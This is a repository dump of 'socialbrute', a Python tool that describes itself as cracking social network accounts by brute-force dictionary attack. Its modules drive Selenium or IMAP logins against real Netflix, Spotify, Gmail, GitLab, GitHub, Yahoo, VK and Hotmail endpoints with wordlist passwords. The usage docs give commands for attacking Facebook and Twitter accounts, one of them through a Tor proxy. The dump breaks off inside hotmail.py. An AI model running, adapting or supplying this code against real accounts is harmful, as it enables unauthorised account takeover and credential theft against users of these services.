├── socialbrute ├── modules │ ├── __init__.py │ ├── netflix.py │ ├── spotify.py │ ├── gmail.py │ ├── gitlab.py │ ├── github.py │ ├── yahoo.py │ ├── vk.py │ ├── hotmail.py │ ├── aol.py │ ├── instagram.py │ ├── twitter.py │ ├── facebook.py │ └── linkedin.py ├── __init__.py ├── helpers.py ├── browser.py ├── cli.py └── socialbrute.py ├── docs ├── history.rst ├── readme.rst ├── contributing.rst ├── modules.rst ├── index.rst ├── Makefile ├── make.bat ├── socialbrute.rst ├── installation.rst ├── usage.rst ├── socialbrute.modules.rst └── conf.py ├── tests ├── __init__.py └── test_socialbrute.py ├── requirements_dev.txt ├── MANIFEST.in ├── tox.ini ├── .editorconfig ├── .github ├── ISSUE_TEMPLATE.md └── FUNDING.yml ├── setup.cfg ├── .travis.yml ├── LICENSE ├── .gitignore ├── README.rst ├── HISTORY.rst ├── setup.py ├── CONTRIBUTING.rst └── Makefile /socialbrute/modules/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docs/history.rst: -------------------------------------------------------------------------------- 1 | .. include:: ../HISTORY.rst 2 | -------------------------------------------------------------------------------- /docs/readme.rst: -------------------------------------------------------------------------------- 1 | .. include:: ../README.rst 2 | -------------------------------------------------------------------------------- /docs/contributing.rst: -------------------------------------------------------------------------------- 1 | .. include:: ../CONTRIBUTING.rst 2 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """Unit test package for socialbrute.""" 4 | -------------------------------------------------------------------------------- /docs/modules.rst: -------------------------------------------------------------------------------- 1 | socialbrute 2 | =========== 3 | 4 | .. toctree:: 5 | :maxdepth: 4 6 | 7 | socialbrute 8 | -------------------------------------------------------------------------------- /requirements_dev.txt: -------------------------------------------------------------------------------- 1 | pip==18.1 2 | bumpversion==0.5.3 3 | wheel==0.32.1 4 | watchdog==0.9.0 5 | flake8==3.5.0 6 | autoflake==1.3.1 7 | autopep8==1.4.4 8 | tox==3.5.2 9 | coverage==4.5.1 10 | Sphinx==1.8.1 11 | twine==1.12.1 12 | 13 | 14 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include CONTRIBUTING.rst 2 | include HISTORY.rst 3 | include LICENSE 4 | include README.rst 5 | 6 | recursive-include tests * 7 | recursive-exclude * __pycache__ 8 | recursive-exclude * *.py[co] 9 | 10 | recursive-include docs *.rst conf.py Makefile make.bat *.jpg *.png *.gif 11 | -------------------------------------------------------------------------------- /socialbrute/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """Top-level package for socialbrute.""" 4 | 5 | __author__ = """5h4d0wb0y""" 6 | __email__ = '5h4d0wb0y@protonmail.com' 7 | __version__ = '1.1.0' 8 | __description__ = 'SocialBrute attempts to crack social networks using a brute force dictionary attack.' 9 | __copyright__ = "2019, 5h4dowboy" -------------------------------------------------------------------------------- /tox.ini: -------------------------------------------------------------------------------- 1 | [tox] 2 | envlist = py27, py34, py35, py36, flake8 3 | 4 | [travis] 5 | python = 6 | 3.6: py36 7 | 3.5: py35 8 | 3.4: py34 9 | 2.7: py27 10 | 11 | [testenv:flake8] 12 | basepython = python 13 | deps = flake8 14 | commands = flake8 socialbrute 15 | 16 | [testenv] 17 | setenv = 18 | PYTHONPATH = {toxinidir} 19 | 20 | commands = python setup.py test 21 | 22 | -------------------------------------------------------------------------------- /docs/index.rst: -------------------------------------------------------------------------------- 1 | Welcome to socialbrute's documentation! 2 | ======================================= 3 | 4 | .. toctree:: 5 | :maxdepth: 2 6 | :caption: Contents: 7 | 8 | readme 9 | installation 10 | usage 11 | modules 12 | contributing 13 | history 14 | 15 | Indices and tables 16 | ================== 17 | * :ref:`genindex` 18 | * :ref:`modindex` 19 | * :ref:`search` 20 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # http://editorconfig.org 2 | 3 | root = true 4 | 5 | [*] 6 | indent_style = space 7 | indent_size = 4 8 | trim_trailing_whitespace = true 9 | insert_final_newline = true 10 | charset = utf-8 11 | end_of_line = lf 12 | 13 | [*.bat] 14 | indent_style = tab 15 | end_of_line = crlf 16 | 17 | [LICENSE] 18 | insert_final_newline = false 19 | 20 | [Makefile] 21 | indent_style = tab 22 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | * socialbrute version: 2 | * Python version: 3 | * Operating System: 4 | 5 | ### Description 6 | 7 | Describe what you were trying to get done. 8 | Tell us what happened, what went wrong, and what you expected to happen. 9 | 10 | ### What I Did 11 | 12 | ``` 13 | Paste the command(s) you ran and the output. 14 | If there was a crash, please include the traceback here. 15 | ``` 16 | -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [bumpversion] 2 | current_version = 1.1.0 3 | commit = True 4 | message = Bump to version {new_version} 5 | tag = True 6 | tag_name = v{new_version} 7 | 8 | [bumpversion:file:socialbrute/__init__.py] 9 | search = __version__ = '{current_version}' 10 | replace = __version__ = '{new_version}' 11 | 12 | [bumpversion:file:HISTORY.rst] 13 | search = **unreleased** 14 | replace = **unreleased** 15 | **v{new_version}** 16 | 17 | [bdist_wheel] 18 | universal = 1 19 | 20 | [flake8] 21 | exclude = docs 22 | 23 | [aliases] 24 | 25 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: 5h4d0wb0y 6 | ko_fi: 5h4d0wb0y 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 13 | -------------------------------------------------------------------------------- /docs/Makefile: -------------------------------------------------------------------------------- 1 | # Minimal makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line. 5 | SPHINXOPTS = 6 | SPHINXBUILD = python -msphinx 7 | SPHINXPROJ = socialbrute 8 | SOURCEDIR = . 9 | BUILDDIR = _build 10 | 11 | # Put it first so that "make" without argument is like "make help". 12 | help: 13 | @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 14 | 15 | .PHONY: help Makefile 16 | 17 | # Catch-all target: route all unknown targets to Sphinx using the new 18 | # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). 19 | %: Makefile 20 | @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 21 | -------------------------------------------------------------------------------- /socialbrute/helpers.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf -*- 2 | 3 | import click 4 | 5 | 6 | class Colors: 7 | PURPLE = '\033[95m' 8 | CYAN = '\033[96m' 9 | BLUE = '\033[94m' 10 | GREEN = '\033[92m' 11 | YELLOW = '\033[93m' 12 | RED = '\033[91m' 13 | BOLD = '\033[1m' 14 | ENDC = '\033[0m' 15 | 16 | 17 | def print_info(message): 18 | click.echo((Colors.BLUE) + (Colors.BOLD) + 19 | ("i ") + (Colors.ENDC) + (str(message))) 20 | 21 | 22 | def print_success(message): 23 | click.echo((Colors.GREEN) + (Colors.BOLD) + 24 | ("✔ ") + (Colors.ENDC) + (str(message))) 25 | 26 | 27 | def print_warning(message): 28 | click.echo((Colors.YELLOW) + (Colors.BOLD) + 29 | ("! ") + (Colors.ENDC) + (str(message))) 30 | 31 | 32 | def print_error(message): 33 | click.echo((Colors.RED) + (Colors.BOLD) + 34 | ("✗ ") + (Colors.ENDC) + (str(message))) 35 | -------------------------------------------------------------------------------- /docs/make.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | pushd %~dp0 4 | 5 | REM Command file for Sphinx documentation 6 | 7 | if "%SPHINXBUILD%" == "" ( 8 | set SPHINXBUILD=python -msphinx 9 | ) 10 | set SOURCEDIR=. 11 | set BUILDDIR=_build 12 | set SPHINXPROJ=socialbrute 13 | 14 | if "%1" == "" goto help 15 | 16 | %SPHINXBUILD% >NUL 2>NUL 17 | if errorlevel 9009 ( 18 | echo. 19 | echo.The Sphinx module was not found. Make sure you have Sphinx installed, 20 | echo.then set the SPHINXBUILD environment variable to point to the full 21 | echo.path of the 'sphinx-build' executable. Alternatively you may add the 22 | echo.Sphinx directory to PATH. 23 | echo. 24 | echo.If you don't have Sphinx installed, grab it from 25 | echo.http://sphinx-doc.org/ 26 | exit /b 1 27 | ) 28 | 29 | %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% 30 | goto end 31 | 32 | :help 33 | %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% 34 | 35 | :end 36 | popd 37 | -------------------------------------------------------------------------------- /docs/socialbrute.rst: -------------------------------------------------------------------------------- 1 | socialbrute package 2 | =================== 3 | 4 | Subpackages 5 | ----------- 6 | 7 | .. toctree:: 8 | 9 | socialbrute.modules 10 | 11 | Submodules 12 | ---------- 13 | 14 | socialbrute.browser module 15 | -------------------------- 16 | 17 | .. automodule:: socialbrute.browser 18 | :members: 19 | :undoc-members: 20 | :show-inheritance: 21 | 22 | socialbrute.cli module 23 | ---------------------- 24 | 25 | .. automodule:: socialbrute.cli 26 | :members: 27 | :undoc-members: 28 | :show-inheritance: 29 | 30 | socialbrute.helpers module 31 | -------------------------- 32 | 33 | .. automodule:: socialbrute.helpers 34 | :members: 35 | :undoc-members: 36 | :show-inheritance: 37 | 38 | socialbrute.socialbrute module 39 | ------------------------------ 40 | 41 | .. automodule:: socialbrute.socialbrute 42 | :members: 43 | :undoc-members: 44 | :show-inheritance: 45 | 46 | 47 | Module contents 48 | --------------- 49 | 50 | .. automodule:: socialbrute 51 | :members: 52 | :undoc-members: 53 | :show-inheritance: 54 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | # Config file for automatic testing at travis-ci.org 2 | sudo: required 3 | language: python 4 | python: 5 | - 3.6 6 | - 3.5 7 | - 3.4 8 | - 2.7 9 | dist: xenial 10 | services: 11 | - xvfb 12 | addons: 13 | chrome: stable 14 | 15 | before_install: 16 | - wget -O /tmp/chromedriver.zip https://chromedriver.storage.googleapis.com/$CHROMEDRIVER/chromedriver_linux64.zip 17 | - mkdir $HOME/chromedriver && unzip /tmp/chromedriver.zip -d $HOME/chromedriver 18 | - export PATH=$HOME/chromedriver:$PATH 19 | - google-chrome-stable --headless --disable-gpu --remote-debugging-port=9222 http://localhost & 20 | 21 | # Command to install dependencies, e.g. pip install -r requirements.txt --use-mirrors 22 | install: 23 | - pip install -U codecov 24 | - pip install -U tox-travis 25 | 26 | # Command to run tests, e.g. python setup.py test 27 | script: tox 28 | 29 | jobs: 30 | include: 31 | - stage: 32 | python: 3.6 33 | env: TOXENV=py36 CHROMEDRIVER=78.0.3904.70 34 | - stage: 35 | python: 3.5 36 | env: TOXENV=py35 CHROMEDRIVER=78.0.3904.70 37 | - stage: 38 | python: 3.4 39 | env: TOXENV=py34 CHROMEDRIVER=78.0.3904.70 40 | - stage: 41 | python: 2.7 42 | env: TOXENV=py27 CHROMEDRIVER=78.0.3904.70 43 | 44 | after_success: 45 | - codecov 46 | -------------------------------------------------------------------------------- /docs/installation.rst: -------------------------------------------------------------------------------- 1 | .. highlight:: shell 2 | 3 | ============ 4 | Installation 5 | ============ 6 | 7 | 8 | Stable release 9 | -------------- 10 | 11 | To install socialbrute, run this command in your terminal: 12 | 13 | .. code-block:: console 14 | 15 | $ pip install socialbrute 16 | 17 | This is the preferred method to install socialbrute, as it will always install the most recent stable release. 18 | 19 | If you don't have `pip`_ installed, this `Python installation guide`_ can guide 20 | you through the process. 21 | 22 | .. _pip: https://pip.pypa.io 23 | .. _Python installation guide: http://docs.python-guide.org/en/latest/starting/installation/ 24 | 25 | 26 | From sources 27 | ------------ 28 | 29 | The sources for socialbrute can be downloaded from the `Github repo`_. 30 | 31 | You can either clone the public repository: 32 | 33 | .. code-block:: console 34 | 35 | $ git clone git://github.com/5h4d0wb0y/socialbrute 36 | 37 | Or download the `tarball`_: 38 | 39 | .. code-block:: console 40 | 41 | $ curl -OL https://github.com/5h4d0wb0y/socialbrute/tarball/master 42 | 43 | Once you have a copy of the source, you can install it with: 44 | 45 | .. code-block:: console 46 | 47 | $ python setup.py install 48 | 49 | 50 | .. _Github repo: https://github.com/5h4d0wb0y/socialbrute 51 | .. _tarball: https://github.com/5h4d0wb0y/socialbrute/tarball/master 52 | -------------------------------------------------------------------------------- /socialbrute/modules/netflix.py: -------------------------------------------------------------------------------- 1 | import time 2 | from selenium.webdriver.common.keys import Keys 3 | 4 | 5 | class Netflix: 6 | 7 | def __init__(self, browser): 8 | self.browser = browser 9 | 10 | def set_config(self, username, wordlist, delay): 11 | self.username = username 12 | self.name = '' 13 | self.wordlist = wordlist 14 | self.delay = delay 15 | self.url = 'https://www.netflix.com/it-en/login' 16 | 17 | def check_user(self): 18 | return False 19 | 20 | def crack(self): 21 | passwords = [] 22 | found = '' 23 | with open(self.wordlist, 'r') as f: 24 | for line in f: 25 | passwords.append(line.strip('\n')) 26 | for password in passwords: 27 | self.browser.driver.get(self.url) 28 | email = self.browser.wait_until_element_exists('name', 'userLoginId') 29 | email.clear() 30 | email.send_keys(self.username) 31 | pwd = self.browser.driver.find_element_by_name('password') 32 | pwd.clear() 33 | pwd.send_keys(password) 34 | pwd.send_keys(Keys.RETURN) 35 | 36 | self.browser.wait_page_loaded() 37 | time.sleep(1) 38 | 39 | url = self.browser.driver.current_url 40 | if (url != self.url) and ('browse' in url): 41 | found = password 42 | break 43 | time.sleep(self.delay) 44 | 45 | return found 46 | -------------------------------------------------------------------------------- /socialbrute/modules/spotify.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | 4 | class Spotify: 5 | 6 | def __init__(self, browser): 7 | self.browser = browser 8 | 9 | def set_config(self, username, wordlist, delay): 10 | self.username = username 11 | self.name = '' 12 | self.wordlist = wordlist 13 | self.delay = delay 14 | self.url = 'https://accounts.spotify.com/en/login' 15 | 16 | def check_user(self): 17 | return False 18 | 19 | def crack(self): 20 | passwords = [] 21 | found = '' 22 | with open(self.wordlist, 'r') as f: 23 | for line in f: 24 | passwords.append(line.strip('\n')) 25 | for password in passwords: 26 | self.browser.driver.get(self.url) 27 | email = self.browser.wait_until_element_exists('id', 'login-username') 28 | email.clear() 29 | email.send_keys(self.username) 30 | pwd = self.browser.driver.find_element_by_id('login-password') 31 | pwd.clear() 32 | pwd.send_keys(password) 33 | time.sleep(1) 34 | btn = self.browser.driver.find_element_by_id('login-button') 35 | btn.click() 36 | 37 | self.browser.wait_page_loaded() 38 | time.sleep(1) 39 | 40 | url = self.browser.driver.current_url 41 | if (url != self.url) and ('status' in url): 42 | found = password 43 | break 44 | time.sleep(self.delay) 45 | 46 | return found 47 | -------------------------------------------------------------------------------- /docs/usage.rst: -------------------------------------------------------------------------------- 1 | ===== 2 | Usage 3 | ===== 4 | 5 | From the `-h` or `--help` help menu: 6 | 7 | .. code-block:: console 8 | 9 | usage: socialbrute [OPTIONS] 10 | 11 | SocialBrute attempts to crack social networks using a brute force dictionary attack. 12 | 13 | Options: 14 | --use-proxy / --no-proxy Set a proxy to use 15 | --proxy-host TEXT Set the proxy host 16 | --proxy-port INTEGER Specify the proxy port 17 | --proxy-user TEXT Set the proxy user 18 | --proxy-pass TEXT Set the proxy user's password 19 | -u, --username TEXT Set the username 20 | -s, --social [aol|facebook|gmail|hotmail|instagram|twitter|vk|yahoo|spotify|netflix|gitlab|github|linkedin] 21 | Set the social network 22 | -w, --wordlist PATH Set the wordlist path 23 | -d, --delay INTEGER Provide the number of seconds the program 24 | delays as each password is tried 25 | --interactive / --no-interactive 26 | Set the browser emulation interactive 27 | --help Show this message and exit. 28 | 29 | 30 | 31 | **Examples** 32 | 33 | Trying to crack a Facebook account: 34 | 35 | .. code-block:: console 36 | 37 | $ socialbrute -s facebook -u YOUR_USERNAME -w ~/wordlist.txt 38 | 39 | Trying to crack a Twitter account with tor support: 40 | 41 | .. code-block:: console 42 | 43 | $ socialbrute -s twitter -u YOUR_USERNAME -w ~/wordlist.txt --use-proxy --proxy-host 127.0.0.1 --proxy-port 9050 44 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | SocialBrute attempts to crack a social network using a brute force dictionary attack. 5 | Copyright (C) 2019 5h4d0wb0y 6 | 7 | This program is free software: you can redistribute it and/or modify 8 | it under the terms of the GNU General Public License as published by 9 | the Free Software Foundation, either version 3 of the License, or 10 | (at your option) any later version. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | 17 | You should have received a copy of the GNU General Public License 18 | along with this program. If not, see . 19 | 20 | Also add information on how to contact you by electronic and paper mail. 21 | 22 | You should also get your employer (if you work as a programmer) or school, 23 | if any, to sign a "copyright disclaimer" for the program, if necessary. 24 | For more information on this, and how to apply and follow the GNU GPL, see 25 | . 26 | 27 | The GNU General Public License does not permit incorporating your program 28 | into proprietary programs. If your program is a subroutine library, you 29 | may consider it more useful to permit linking proprietary applications with 30 | the library. If this is what you want to do, use the GNU Lesser General 31 | Public License instead of this License. But first, please read 32 | . 33 | 34 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | 58 | # Flask stuff: 59 | instance/ 60 | .webassets-cache 61 | 62 | # Scrapy stuff: 63 | .scrapy 64 | 65 | # Sphinx documentation 66 | docs/_build/ 67 | 68 | # PyBuilder 69 | target/ 70 | 71 | # Jupyter Notebook 72 | .ipynb_checkpoints 73 | 74 | # pyenv 75 | .python-version 76 | 77 | # celery beat schedule file 78 | celerybeat-schedule 79 | 80 | # SageMath parsed files 81 | *.sage.py 82 | 83 | # dotenv 84 | .env 85 | 86 | # virtualenv 87 | .venv 88 | venv/ 89 | ENV/ 90 | 91 | # Spyder project settings 92 | .spyderproject 93 | .spyproject 94 | 95 | # Rope project settings 96 | .ropeproject 97 | 98 | # mkdocs documentation 99 | /site 100 | 101 | # mypy 102 | .mypy_cache/ 103 | -------------------------------------------------------------------------------- /socialbrute/modules/gmail.py: -------------------------------------------------------------------------------- 1 | import time 2 | import imaplib 3 | from selenium.webdriver.common.keys import Keys 4 | 5 | 6 | class Gmail: 7 | 8 | def __init__(self, browser): 9 | self.browser = browser 10 | 11 | def set_config(self, username, wordlist, delay): 12 | self.username = username 13 | self.name = '' 14 | self.host = 'imap.gmail.com' 15 | self.port = 993 16 | self.wordlist = wordlist 17 | self.delay = delay 18 | 19 | def check_user(self): 20 | self.browser.driver.get('https://www.google.com/accounts/ForgotPasswd') 21 | try: 22 | email = self.browser.wait_until_element_exists('id', 'identifier') 23 | email.send_keys(self.username) 24 | email.send_keys(Keys.RETURN) 25 | pwd = self.browser.driver.find_element_by_id('password') 26 | if pwd: 27 | self.name = 'Not found' 28 | return True 29 | else: 30 | return False 31 | except BaseException: 32 | return False 33 | 34 | def crack(self): 35 | passwords = [] 36 | found = '' 37 | with open(self.wordlist, 'r') as f: 38 | for line in f: 39 | passwords.append(line.strip('\n')) 40 | IMAP4 = imaplib.IMAP4_SSL(self.host, self.port) 41 | for password in passwords: 42 | try: 43 | session = IMAP4.login(self.username, password) 44 | if (session == 'OK' or 'AUTHENTICATE completed'): 45 | found = password 46 | break 47 | except IMAP4.error: 48 | pass 49 | time.sleep(self.delay) 50 | 51 | IMAP4.logout() 52 | return found 53 | -------------------------------------------------------------------------------- /socialbrute/modules/gitlab.py: -------------------------------------------------------------------------------- 1 | import time 2 | from selenium.webdriver.common.keys import Keys 3 | 4 | 5 | class Gitlab: 6 | 7 | def __init__(self, browser): 8 | self.browser = browser 9 | 10 | def set_config(self, username, wordlist, delay): 11 | self.username = username 12 | self.name = '' 13 | self.wordlist = wordlist 14 | self.delay = delay 15 | self.url = 'https://gitlab.com/users/sign_in' 16 | 17 | def check_user(self): 18 | self.browser.driver.get('https://gitlab.com/%s' % self.username) 19 | if self.username in self.browser.driver.title: 20 | name = self.browser.driver.find_element_by_xpath( 21 | '//*[@id="content-body"]/div[2]/div[1]/div[2]/div[2]/div[1]') 22 | self.name = name.text 23 | return True 24 | else: 25 | return False 26 | 27 | def crack(self): 28 | passwords = [] 29 | found = '' 30 | with open(self.wordlist, 'r') as f: 31 | for line in f: 32 | passwords.append(line.strip('\n')) 33 | for password in passwords: 34 | self.browser.driver.get(self.url) 35 | email = self.browser.wait_until_element_exists('id', 'user_login') 36 | email.clear() 37 | email.send_keys(self.username) 38 | pwd = self.browser.driver.find_element_by_id('user_password') 39 | pwd.clear() 40 | pwd.send_keys(password) 41 | pwd.send_keys(Keys.RETURN) 42 | 43 | self.browser.wait_page_loaded() 44 | 45 | url = self.browser.driver.current_url 46 | if (url != self.url) and ('sign_in' not in url): 47 | found = password 48 | break 49 | time.sleep(self.delay) 50 | 51 | return found 52 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | =========== 2 | socialbrute 3 | =========== 4 | 5 | 6 | .. image:: https://img.shields.io/pypi/v/socialbrute.svg 7 | :target: https://pypi.python.org/pypi/socialbrute 8 | 9 | .. image:: https://img.shields.io/pypi/pyversions/socialbrute.svg 10 | :target: https://pypi.python.org/pypi/socialbrute 11 | 12 | .. image:: https://readthedocs.org/projects/socialbrute/badge/?version=latest 13 | :target: https://socialbrute.readthedocs.io/en/latest/?badge=latest 14 | :alt: Documentation Status 15 | 16 | .. image:: https://travis-ci.com/5h4d0wb0y/socialbrute.svg?branch=master 17 | :target: https://travis-ci.com/5h4d0wb0y/socialbrute 18 | 19 | .. image:: https://codecov.io/github/5h4d0wb0y/socialbrute/coverage.svg?branch=master 20 | :target: https://codecov.io/github/5h4d0wb0y/socialbrute?branch=master 21 | 22 | 23 | 24 | SocialBrute attempts to crack a social network using a brute force dictionary attack. 25 | 26 | 27 | * Free software: GNU General Public License v3 28 | * Documentation: https://socialbrute.readthedocs.io. 29 | 30 | 31 | Features 32 | -------- 33 | 34 | * Browser supports proxy configuration 35 | * Social network supported 36 | * Aol 37 | * Facebook 38 | * Gmail 39 | * Hotmail 40 | * Instagram 41 | * Twitter 42 | * VK 43 | * Yahoo 44 | * Spotify 45 | * Netflix 46 | * Gitlab 47 | * Github 48 | * Linkedin 49 | 50 | 51 | Credits 52 | ------- 53 | 54 | This package was developed by @5h4d0wb0y_. 55 | 56 | .. _@5h4d0wb0y: https://twitter.com/5h4d0wb0y 57 | 58 | 59 | Stargazers over time 60 | -------------------- 61 | 62 | .. image:: https://starchart.cc/5h4d0wb0y/socialbrute.svg 63 | :target: https://starchart.cc/5h4d0wb0y/socialbrute 64 | :alt: Stargazers over time 65 | -------------------------------------------------------------------------------- /socialbrute/modules/github.py: -------------------------------------------------------------------------------- 1 | import time 2 | from selenium.webdriver.common.keys import Keys 3 | 4 | 5 | class Github: 6 | 7 | def __init__(self, browser): 8 | self.browser = browser 9 | 10 | def set_config(self, username, wordlist, delay): 11 | self.username = username 12 | self.name = '' 13 | self.wordlist = wordlist 14 | self.delay = delay 15 | self.url = 'https://github.com/login' 16 | 17 | def check_user(self): 18 | self.browser.driver.get('https://github.com/%s' % self.username) 19 | if self.username in self.browser.driver.title: 20 | name = self.browser.driver.find_element_by_xpath( 21 | '//*[@id="js-pjax-container"]/div/div[1]/div[2]/div[4]/h1/span[1]') 22 | self.name = name.text 23 | return True 24 | else: 25 | return False 26 | 27 | def crack(self): 28 | passwords = [] 29 | found = '' 30 | with open(self.wordlist, 'r') as f: 31 | for line in f: 32 | passwords.append(line.strip('\n')) 33 | for password in passwords: 34 | self.browser.driver.get(self.url) 35 | email = self.browser.wait_until_element_exists('id', 'login_field') 36 | email.clear() 37 | email.send_keys(self.username) 38 | pwd = self.browser.driver.find_element_by_id('password') 39 | pwd.clear() 40 | pwd.send_keys(password) 41 | time.sleep(1) 42 | pwd.send_keys(Keys.RETURN) 43 | 44 | self.browser.wait_page_loaded() 45 | 46 | url = self.browser.driver.current_url 47 | if (url == "https://github.com/"): 48 | found = password 49 | break 50 | time.sleep(self.delay) 51 | 52 | return found 53 | -------------------------------------------------------------------------------- /socialbrute/modules/yahoo.py: -------------------------------------------------------------------------------- 1 | import time 2 | import imaplib 3 | 4 | 5 | class Yahoo: 6 | 7 | def __init__(self, browser): 8 | self.browser = browser 9 | 10 | def set_config(self, username, wordlist, delay): 11 | self.username = username 12 | self.name = '' 13 | self.host = 'imap.mail.yahoo.com' 14 | self.port = 993 15 | self.wordlist = wordlist 16 | self.delay = delay 17 | 18 | def check_user(self): 19 | self.browser.driver.get('https://login.yahoo.com/') 20 | try: 21 | input = self.browser.wait_until_element_exists('id', 'login-username') 22 | input.clear() 23 | input.send_keys(self.username) 24 | self.browser.driver.find_element_by_id('login-signin').click() 25 | if 'Sorry, we don't recognize this email.' in self.browser.driver.page_source: 26 | return False 27 | elif 'fail' in self.browser.current_url: 28 | return False 29 | else: 30 | self.name = 'Not found' 31 | return True 32 | except BaseException: 33 | return False 34 | 35 | def crack(self): 36 | passwords = [] 37 | found = '' 38 | with open(self.wordlist, 'r') as f: 39 | for line in f: 40 | passwords.append(line.strip('\n')) 41 | IMAP4 = imaplib.IMAP4_SSL(self.host, self.port) 42 | for password in passwords: 43 | try: 44 | session = IMAP4.login(self.username, password) 45 | if (session == 'OK' or 'AUTHENTICATE completed'): 46 | found = password 47 | break 48 | except IMAP4.error: 49 | pass 50 | time.sleep(self.delay) 51 | 52 | IMAP4.logout() 53 | return found 54 | -------------------------------------------------------------------------------- /socialbrute/modules/vk.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | 4 | class Vk: 5 | 6 | def __init__(self, browser): 7 | self.browser = browser 8 | 9 | def set_config(self, username, wordlist, delay): 10 | self.username = username 11 | self.name = '' 12 | self.wordlist = wordlist 13 | self.delay = delay 14 | self.url = 'https://vk.com/login' 15 | 16 | def check_user(self): 17 | self.browser.driver.get('https://vk.com/restore') 18 | try: 19 | input = self.browser.wait_until_element_exists('id', 'login_input') 20 | input.clear() 21 | input.send_keys(self.username) 22 | self.browser.driver.find_element_by_id('submitBtn').click() 23 | msg = self.browser.driver.find_element_by_xpath( 24 | '//div[@class="msg_text"]') 25 | if msg: 26 | return False 27 | else: 28 | return True 29 | except BaseException: 30 | return False 31 | 32 | def crack(self): 33 | passwords = [] 34 | found = '' 35 | with open(self.wordlist, 'r') as f: 36 | for line in f: 37 | passwords.append(line.strip('\n')) 38 | for password in passwords: 39 | self.browser.driver.get(self.url) 40 | email = self.browser.wait_until_element_exists('id', 'email') 41 | email.send_keys(self.username) 42 | pwd = self.browser.driver.find_element_by_id('pass') 43 | pwd.send_keys(password) 44 | 45 | self.browser.driver.find_elements_by_id('login_button').click() 46 | 47 | url = self.browser.driver.current_url 48 | if not url.startswith(self.url): 49 | found = password 50 | break 51 | time.sleep(self.delay) 52 | 53 | return found 54 | -------------------------------------------------------------------------------- /socialbrute/modules/hotmail.py: -------------------------------------------------------------------------------- 1 | import time 2 | import imaplib 3 | from selenium.common.exceptions import NoSuchElementException 4 | 5 | 6 | class Hotmail: 7 | 8 | def __init__(self, browser): 9 | self.browser = browser 10 | 11 | def set_config(self, username, wordlist, delay): 12 | self.username = username 13 | self.name = '' 14 | self.host = 'imap-mail.outlook.com' 15 | self.port = 993 16 | self.wordlist = wordlist 17 | self.delay = delay 18 | 19 | def check_user(self): 20 | self.browser.driver.get('https://login.live.com/login.srf') 21 | input = self.browser.wait_until_element_exists('name', 'loginfmt') 22 | input.clear() 23 | input.send_keys(self.username) 24 | self.browser.driver.find_element_by_id('idSIButton9').click() 25 | try: 26 | self.browser.wait_until_element_exists('id', 'usernameError') 27 | return False 28 | except NoSuchElementException: 29 | return True 30 | # try: 31 | # self.browser.driver.find_element_by_name('passwd') 32 | # return True 33 | # except NoSuchElementException: 34 | # return False 35 | 36 | def crack(self): 37 | passwords = [] 38 | found = '' 39 | with open(self.wordlist, 'r') as f: 40 | for line in f: 41 | passwords.append(line.strip('\n')) 42 | IMAP4 = imaplib.IMAP4_SSL(self.host, 